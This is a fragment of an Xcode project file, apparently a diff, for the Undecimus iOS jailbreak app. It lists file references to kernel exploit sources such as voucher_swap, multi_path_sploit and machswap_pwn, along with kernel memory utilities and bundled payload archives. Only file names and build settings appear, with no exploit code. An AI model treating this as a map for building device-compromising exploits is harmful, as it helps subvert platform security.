||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7521369EB800849420 /* LaunchScreen.storyboard */; };
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC7921369EB800849420 /* main.m */; };
|
||||
21C0FC8721369EE900849420 /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* kmem.c */; };
|
||||
21C0FC8A21369EE900849420 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* offsets.m */; };
|
||||
21C0FC912136A46500849420 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* KernelMemory.c */; };
|
||||
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelOffsets.m */; };
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130DE214BC2880021AA9D /* unlocknvram.c */; };
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130EA214C03690021AA9D /* CreditsTableViewController.m */; };
|
||||
21C130FB214C1EBA0021AA9D /* untar.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130FA214C1EBA0021AA9D /* untar.c */; };
|
||||
21C13102214C20950021AA9D /* libjailbreak.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C130FD214C20940021AA9D /* libjailbreak.tar */; };
|
||||
21C13103214C20950021AA9D /* pspawn_hook.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C130FE214C20950021AA9D /* pspawn_hook.tar */; };
|
||||
21C13104214C20950021AA9D /* amfid_payload.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C130FF214C20950021AA9D /* amfid_payload.tar */; };
|
||||
21C13105214C20950021AA9D /* tar.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13100214C20950021AA9D /* tar.tar */; };
|
||||
21C13106214C20950021AA9D /* jailbreakd.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13101214C20950021AA9D /* jailbreakd.tar */; };
|
||||
21C13109214C26AB0021AA9D /* launchctl.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13108214C26AB0021AA9D /* launchctl.tar */; };
|
||||
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */ = {isa = PBXBuildFile; fileRef = 21C1310F214C2E570021AA9D /* strap.tar.lzma */; };
|
||||
21C13116214C51100021AA9D /* lzma.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13115214C510F0021AA9D /* lzma.tar */; };
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C13117214D268F0021AA9D /* multi_path_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8521369EE900849420 /* empty_list_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21E8CA7E2171CF7800936700 /* debugserver.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21E8CA7D2171CF7700936700 /* debugserver.tar */; };
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */ = {isa = PBXBuildFile; fileRef = 21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */; };
|
||||
21CC3905227CDFDE0072D572 /* prefs.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3902227CDFDE0072D572 /* prefs.m */; };
|
||||
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3903227CDFDE0072D572 /* diagnostics.m */; };
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21F4D70C21FC7A590070D5E0 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; };
|
||||
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */ = {isa = PBXBuildFile; fileRef = 21FF63C9224E5FDC008B76D9 /* offsetcache.c */; };
|
||||
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */ = {isa = PBXBuildFile; fileRef = 222AD59221FA731800DCBA2A /* FakeApt.m */; };
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */ = {isa = PBXBuildFile; fileRef = 225D142121E052960045493D /* ArchiveFile.m */; };
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 226689DC21EC1C5A00262F66 /* libarchive.2.tbd */; };
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */ = {isa = PBXBuildFile; fileRef = 22C546AA21A8A8FD00EFC09C /* utils.m */; };
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 22CFED9121CDFE6B00A216BE /* libmis.tbd */; };
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CD921E02CF200B2FCAE /* inject.m */; };
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CE221E033A500B2FCAE /* libsnappy.c */; };
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8D592A67218E47F60035D2BC /* Main.storyboard */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = hideventsystem.c; sourceTree = "<group>"; };
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = hideventsystem.h; sourceTree = "<group>"; };
|
||||
211C372521CE2DD700ADBEA2 /* reboot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = reboot.h; sourceTree = "<group>"; };
|
||||
211C372721CE2DD800ADBEA2 /* route.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = route.h; sourceTree = "<group>"; };
|
||||
211C372921CE2DD800ADBEA2 /* proc_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc_info.h; sourceTree = "<group>"; };
|
||||
211C372A21CE2DD800ADBEA2 /* kern_control.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kern_control.h; sourceTree = "<group>"; };
|
||||
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libMobileGestalt.tbd; path = usr/lib/libMobileGestalt.tbd; sourceTree = SDKROOT; };
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = find_port.c; sourceTree = "<group>"; };
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = find_port.h; sourceTree = "<group>"; };
|
||||
@@ -55,39 +81,76 @@
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = early_kalloc.c; sourceTree = "<group>"; };
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = "<group>"; };
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = "<group>"; };
|
||||
2139534B21763A0B00B17F8D /* rsync.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = rsync.tar; sourceTree = "<group>"; };
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileGestalt.h; sourceTree = "<group>"; };
|
||||
219A7C852169439B00A5DD60 /* spawn.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = spawn.tar; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* kexecute.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kexecute.h; sourceTree = "<group>"; };
|
||||
213E78242208654700FDF3B7 /* necp.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
|
||||
213E78252208654700FDF3B7 /* necp.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
|
||||
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = "voucher_swap-poc.c"; sourceTree = "<group>"; };
|
||||
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "voucher_swap-poc.h"; sourceTree = "<group>"; };
|
||||
214A1772224EBE5400588EC4 /* kerneldec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kerneldec.h; path = kerneldec/kerneldec.h; sourceTree = SOURCE_ROOT; };
|
||||
214A1773224EBE5400588EC4 /* lzssdec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = lzssdec.cpp; path = kerneldec/lzssdec.cpp; sourceTree = SOURCE_ROOT; };
|
||||
214A1774224EBE5400588EC4 /* kerneldec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = kerneldec.cpp; path = kerneldec/kerneldec.cpp; sourceTree = SOURCE_ROOT; };
|
||||
214A1775224EBE5400588EC4 /* lzssdec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = lzssdec.h; path = kerneldec/lzssdec.h; sourceTree = SOURCE_ROOT; };
|
||||
2150A9CB22021330001C8677 /* voucher_swap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = voucher_swap.h; sourceTree = "<group>"; };
|
||||
2150A9CC22021330001C8677 /* voucher_swap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = voucher_swap.c; sourceTree = "<group>"; };
|
||||
2150A9CE22021347001C8677 /* log.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = log.c; sourceTree = "<group>"; };
|
||||
2150A9CF22021347001C8677 /* platform_match.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform_match.c; sourceTree = "<group>"; };
|
||||
2150A9D022021347001C8677 /* parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = parameters.h; sourceTree = "<group>"; };
|
||||
2150A9D122021347001C8677 /* kernel_alloc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_alloc.h; sourceTree = "<group>"; };
|
||||
2150A9D222021347001C8677 /* platform.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform.h; sourceTree = "<group>"; };
|
||||
2150A9D322021347001C8677 /* kernel_slide.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_slide.h; sourceTree = "<group>"; };
|
||||
2150A9D422021347001C8677 /* platform.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform.c; sourceTree = "<group>"; };
|
||||
2150A9D522021347001C8677 /* log.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = log.h; sourceTree = "<group>"; };
|
||||
2150A9D622021348001C8677 /* kernel_slide.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_slide.c; sourceTree = "<group>"; };
|
||||
2150A9D722021348001C8677 /* platform_match.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform_match.h; sourceTree = "<group>"; };
|
||||
2150A9D822021348001C8677 /* kernel_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_memory.h; sourceTree = "<group>"; };
|
||||
2150A9D922021348001C8677 /* parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = parameters.c; sourceTree = "<group>"; };
|
||||
2150A9DA22021348001C8677 /* kernel_alloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_alloc.c; sourceTree = "<group>"; };
|
||||
2150A9DB22021348001C8677 /* kernel_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_memory.c; sourceTree = "<group>"; };
|
||||
2150A9E322021381001C8677 /* mach_vm.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = mach_vm.h; sourceTree = "<group>"; };
|
||||
2150A9E422021381001C8677 /* ipc_port.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ipc_port.h; sourceTree = "<group>"; };
|
||||
2150A9E52202138A001C8677 /* IOKitLib.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOKitLib.h; sourceTree = "<group>"; };
|
||||
216F3F352228776D007DC1BC /* user_client.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = user_client.h; sourceTree = "<group>"; };
|
||||
216F3F362228776D007DC1BC /* kernel_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_call.c; sourceTree = "<group>"; };
|
||||
216F3F372228776D007DC1BC /* user_client.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = user_client.c; sourceTree = "<group>"; };
|
||||
216F3F382228776D007DC1BC /* pac.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pac.h; sourceTree = "<group>"; };
|
||||
216F3F392228776D007DC1BC /* kernel_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_call.h; sourceTree = "<group>"; };
|
||||
216F3F3A2228776D007DC1BC /* pac.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pac.c; sourceTree = "<group>"; };
|
||||
216F3F3B2228776D007DC1BC /* kc_parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kc_parameters.h; sourceTree = "<group>"; };
|
||||
216F3F3C2228776E007DC1BC /* kc_parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kc_parameters.c; sourceTree = "<group>"; };
|
||||
216FDA1D220C5F5C0086D802 /* libz.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libz.tbd; path = usr/lib/libz.tbd; sourceTree = SDKROOT; };
|
||||
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SystemConfiguration.framework; path = System/Library/Frameworks/SystemConfiguration.framework; sourceTree = SDKROOT; };
|
||||
2199B8E7226B40C600A8255D /* kalloc_crash.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kalloc_crash.h; sourceTree = "<group>"; };
|
||||
2199B8E8226B40C600A8255D /* kalloc_crash.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kalloc_crash.c; sourceTree = "<group>"; };
|
||||
219BF90422832DBC00A4B827 /* UIProgressHUD.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = UIProgressHUD.h; sourceTree = "<group>"; };
|
||||
219C909E228703DA00AFA38A /* jailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = jailbreak.h; sourceTree = "<group>"; };
|
||||
219C909F228703DA00AFA38A /* jailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = jailbreak.m; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelExecution.h; sourceTree = "<group>"; };
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_call.h; sourceTree = "<group>"; };
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_memory.c; sourceTree = "<group>"; };
|
||||
21A97FC72148103B00DC0023 /* libjb.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libjb.h; sourceTree = "<group>"; };
|
||||
21A97FC82148103B00DC0023 /* kexecute.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kexecute.m; sourceTree = "<group>"; };
|
||||
21A97FC92148103B00DC0023 /* kutils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutils.h; sourceTree = "<group>"; };
|
||||
21A97FCA2148103B00DC0023 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = "<group>"; };
|
||||
21A97FCB2148103B00DC0023 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = "<group>"; };
|
||||
21A97FCC2148103B00DC0023 /* kutils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kutils.c; sourceTree = "<group>"; };
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelExecution.m; sourceTree = "<group>"; };
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelUtilities.h; sourceTree = "<group>"; };
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelUtilities.c; sourceTree = "<group>"; };
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_call.c; sourceTree = "<group>"; };
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_memory.h; sourceTree = "<group>"; };
|
||||
21A97FCF2148103C00DC0023 /* libjb.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libjb.a; sourceTree = "<group>"; };
|
||||
21B4218F2261302F004C17CD /* MobileCoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileCoreServices.framework; path = System/Library/Frameworks/MobileCoreServices.framework; sourceTree = SDKROOT; };
|
||||
21BB9802222F05C40012AF40 /* machswap2_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap2_pwn.m; sourceTree = "<group>"; };
|
||||
21BB9803222F05C40012AF40 /* machswap2_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap2_pwn.h; sourceTree = "<group>"; };
|
||||
21C0FC6721369EB700849420 /* Undecimus.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Undecimus.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
|
||||
21C0FC6D21369EB700849420 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
|
||||
21C0FC6E21369EB700849420 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
|
||||
21C0FC6D21369EB700849420 /* JailbreakViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = JailbreakViewController.h; sourceTree = "<group>"; };
|
||||
21C0FC6E21369EB700849420 /* JailbreakViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = JailbreakViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
21C0FC7621369EB800849420 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
|
||||
21C0FC7821369EB800849420 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
21C0FC7921369EB800849420 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* kmem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelMemory.c; sourceTree = "<group>"; };
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = empty_list_sploit.h; sourceTree = "<group>"; };
|
||||
21C0FC8221369EE900849420 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* kmem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = "<group>"; };
|
||||
21C0FC8221369EE900849420 /* KernelOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelOffsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelMemory.h; sourceTree = "<group>"; };
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = empty_list_sploit.c; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* KernelOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelOffsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8B21369FC500849420 /* common.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = "<group>"; };
|
||||
21C0FC8C2136A0D100849420 /* qilin.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = qilin.o; sourceTree = "<group>"; };
|
||||
21C0FC8D2136A0D100849420 /* QiLin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = QiLin.h; sourceTree = "<group>"; };
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
|
||||
21C0FC902136A46500849420 /* SpringBoardServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SpringBoardServices.framework; sourceTree = "<group>"; };
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = unlocknvram.c; sourceTree = "<group>"; };
|
||||
@@ -96,21 +159,37 @@
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SettingsTableViewController.m; sourceTree = "<group>"; };
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CreditsTableViewController.h; sourceTree = "<group>"; };
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsTableViewController.m; sourceTree = "<group>"; };
|
||||
21C130FA214C1EBA0021AA9D /* untar.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = untar.c; sourceTree = "<group>"; };
|
||||
21C130FC214C1EC00021AA9D /* untar.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = untar.h; sourceTree = "<group>"; };
|
||||
21C130FD214C20940021AA9D /* libjailbreak.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = libjailbreak.tar; sourceTree = "<group>"; };
|
||||
21C130FE214C20950021AA9D /* pspawn_hook.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = pspawn_hook.tar; sourceTree = "<group>"; };
|
||||
21C130FF214C20950021AA9D /* amfid_payload.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = amfid_payload.tar; sourceTree = "<group>"; };
|
||||
21C13100214C20950021AA9D /* tar.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = tar.tar; sourceTree = "<group>"; };
|
||||
21C13101214C20950021AA9D /* jailbreakd.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = jailbreakd.tar; sourceTree = "<group>"; };
|
||||
21C13108214C26AB0021AA9D /* launchctl.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = launchctl.tar; sourceTree = "<group>"; };
|
||||
21C1310F214C2E570021AA9D /* strap.tar.lzma */ = {isa = PBXFileReference; lastKnownFileType = file; path = strap.tar.lzma; sourceTree = "<group>"; };
|
||||
21C13115214C510F0021AA9D /* lzma.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = lzma.tar; sourceTree = "<group>"; };
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = "<group>"; };
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = "<group>"; };
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
|
||||
21E8CA7D2171CF7700936700 /* debugserver.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = debugserver.tar; sourceTree = "<group>"; };
|
||||
21CC3901227CDFDE0072D572 /* prefs.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = prefs.h; sourceTree = "<group>"; };
|
||||
